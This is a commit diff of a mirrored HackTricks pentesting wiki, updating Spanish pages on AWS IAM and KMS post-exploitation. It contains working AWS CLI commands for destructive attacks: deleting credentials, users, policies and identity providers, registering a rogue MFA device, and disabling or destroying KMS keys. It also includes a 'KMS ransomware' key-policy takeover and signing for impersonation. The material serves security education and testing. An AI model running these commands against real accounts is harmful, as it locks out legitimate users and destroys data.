mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 05:16:32 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,26 +1,26 @@
|
||||
# AWS - IAM Post Explotación
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Para más información sobre el acceso a IAM:
|
||||
Para más información sobre el acceso IAM:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problema del Diputado Confundido
|
||||
## Problema del Confused Deputy
|
||||
|
||||
Si **permites que una cuenta externa (A)** acceda a un **rol** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién puede exactamente acceder a esa cuenta externa**. Este es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**.
|
||||
Si **permites a una cuenta externa (A)** acceder a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién exactamente puede acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A) es posible que **B también pueda acceder a tu cuenta**.
|
||||
|
||||
Por lo tanto, al permitir que una cuenta externa acceda a un rol en tu cuenta, es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **necesita especificar** para **asumir el rol en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A, **no podrá acceder a tu rol**.
|
||||
Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **necesita especificar** para **assume the role in your organization**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso sobre A **no podrá acceder a tu role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la política de asunción de rol de IAM podrá verlo**. Pero mientras la cuenta externa A lo conozca, pero la cuenta externa **B no lo conozca**, **evita que B abuse de A para acceder a tu rol**.
|
||||
Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca, y la cuenta externa **B no lo conozca**, esto **evita que B abuse de A para acceder a tu role**.
|
||||
|
||||
Ejemplo:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -39,11 +39,11 @@ Ejemplo:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Para que un atacante explote un deputy confundido, necesitará averiguar de alguna manera si los principales de la cuenta actual pueden suplantar roles en otras cuentas.
|
||||
> Para que un atacante pueda explotar un confused deputy, necesitará averiguar de alguna manera si los principals de la cuenta actual pueden hacerse pasar por roles en otras cuentas.
|
||||
|
||||
### Confianzas inesperadas
|
||||
|
||||
#### Wildcard como principal
|
||||
#### Comodín como principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,7 +51,7 @@ Ejemplo:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Esta política **permite a todos los AWS** asumir el rol.
|
||||
Esta política **permite que todo AWS** asuma el rol.
|
||||
|
||||
#### Servicio como principal
|
||||
```json
|
||||
@@ -62,7 +62,7 @@ Esta política **permite a todos los AWS** asumir el rol.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Esta política **permite a cualquier cuenta** configurar su apigateway para llamar a esta Lambda.
|
||||
Esta política **permite a cualquier cuenta** configurar su apigateway para invocar esta Lambda.
|
||||
|
||||
#### S3 como principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam
|
||||
}
|
||||
}
|
||||
```
|
||||
Si un bucket de S3 se da como principal, porque los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
Si se asigna un bucket S3 como principal, dado que los buckets S3 no tienen un Account ID, si usted **eliminó su bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
|
||||
#### No soportado
|
||||
```json
|
||||
@@ -84,8 +84,81 @@ Si un bucket de S3 se da como principal, porque los buckets de S3 no tienen un I
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Una forma común de evitar problemas de Confused Deputy es el uso de una condición con `AWS:SourceArn` para verificar el ARN de origen. Sin embargo, **algunos servicios pueden no soportar eso** (como CloudTrail según algunas fuentes).
|
||||
Una forma común de evitar problemas de Confused Deputy es usar una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no admitir eso** (como CloudTrail según algunas fuentes).
|
||||
|
||||
### Eliminación de credenciales
|
||||
Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, SSH keys, credenciales específicas de servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y provocar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y monitorizados.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Eliminación de identidades
|
||||
Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—or cambiar la pertenencia a grupos—eliminando identidades y rastros asociados. Esto puede interrumpir inmediatamente el acceso para personas y servicios que dependen de esas identidades, provocando denegación de servicio o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o límites de permisos (permissions boundaries), y desasociar políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Eliminación de identidad federada
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o quitar client IDs. Esto rompe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restauren.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Activación de MFA ilegítima
|
||||
Con `iam:EnableMFADevice`, un actor puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, iniciar sesión requiere solo uno, por lo que este ataque no tendrá efecto para negar el acceso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Manipulación de metadatos de certificados y claves
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS y interrumpir de inmediato los servicios que dependen de esas credenciales, causando pérdida de acceso o de disponibilidad.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - KMS Post Explotación
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
@@ -12,15 +12,15 @@ Para más información, consulta:
|
||||
|
||||
### Cifrar/Descifrar información
|
||||
|
||||
`fileb://` y `file://` son esquemas URI utilizados en comandos de AWS CLI para especificar la ruta a archivos locales:
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Lee el archivo en modo binario, comúnmente utilizado para archivos no de texto.
|
||||
- `file://:` Lee el archivo en modo de texto, típicamente utilizado para archivos de texto plano, scripts o JSON que no tienen requisitos de codificación especiales.
|
||||
- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales.
|
||||
- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
|
||||
> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
|
||||
|
||||
- Usando una **clave** simétrica
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Usando una **asymmetric** key:
|
||||
- Usando una **clave asimétrica**:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
|
||||
Un atacante con acceso privilegiado a KMS podría modificar la KMS policy de las keys y **conceder acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
|
||||
|
||||
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.
|
||||
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido encriptado con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
|
||||
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que **las claves administradas por AWS no se ven afectadas** por este ataque, solo **las claves administradas por el cliente**.
|
||||
> Ten en cuenta que **AWS managed keys no se ven afectadas** por este ataque, solo **Customer managed keys**.
|
||||
|
||||
> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).
|
||||
> Ten en cuenta también la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la web console hace que este ataque solo sea posible desde la CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que si cambia esa política y solo da acceso a una cuenta externa, y luego desde esta cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Policy no se puede realizar desde una cuenta cruzada**.
|
||||
> Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para **devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ransomware KMS Genérico
|
||||
### Generic KMS Ransomware
|
||||
|
||||
#### Ransomware KMS Global
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
|
||||
Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
|
||||
|
||||
- Crear una nueva **clave con un material de clave** importado por el atacante
|
||||
- **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva.
|
||||
- Crear una nueva **clave con material de clave** importado por el atacante
|
||||
- **Re-cifrar los datos antiguos** de la víctima que fueron cifrados con la versión anterior usando la nueva
|
||||
- **Eliminar la clave KMS**
|
||||
- Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados
|
||||
- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
|
||||
|
||||
### Destruir claves
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destruir claves
|
||||
|
||||
Destruir claves puede provocar un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que AWS ahora **previene que las acciones anteriores se realicen desde una cuenta cruzada:**
|
||||
> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde otra cuenta:**
|
||||
|
||||
### Cambiar o eliminar Alias
|
||||
Este ataque elimina o redirige los alias de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o reapuntar alias y interrumpir operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancelar eliminación de clave
|
||||
Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y volver a habilitarla más adelante. Al hacerlo se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Deshabilitar clave
|
||||
Con el permiso `kms:DisableKey`, un actor puede deshabilitar una clave maestra de cliente (customer master key) de AWS KMS, impidiendo que se use para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o una denegación de servicio hasta que la clave vuelva a habilitarse.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida por KMS junto con una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar criptográficamente datos sin exponer la private key, generando firmas válidas que pueden posibilitar impersonation o autorizar acciones maliciosas.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Restringir y monitorear esos permisos es, por tanto, crítico.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user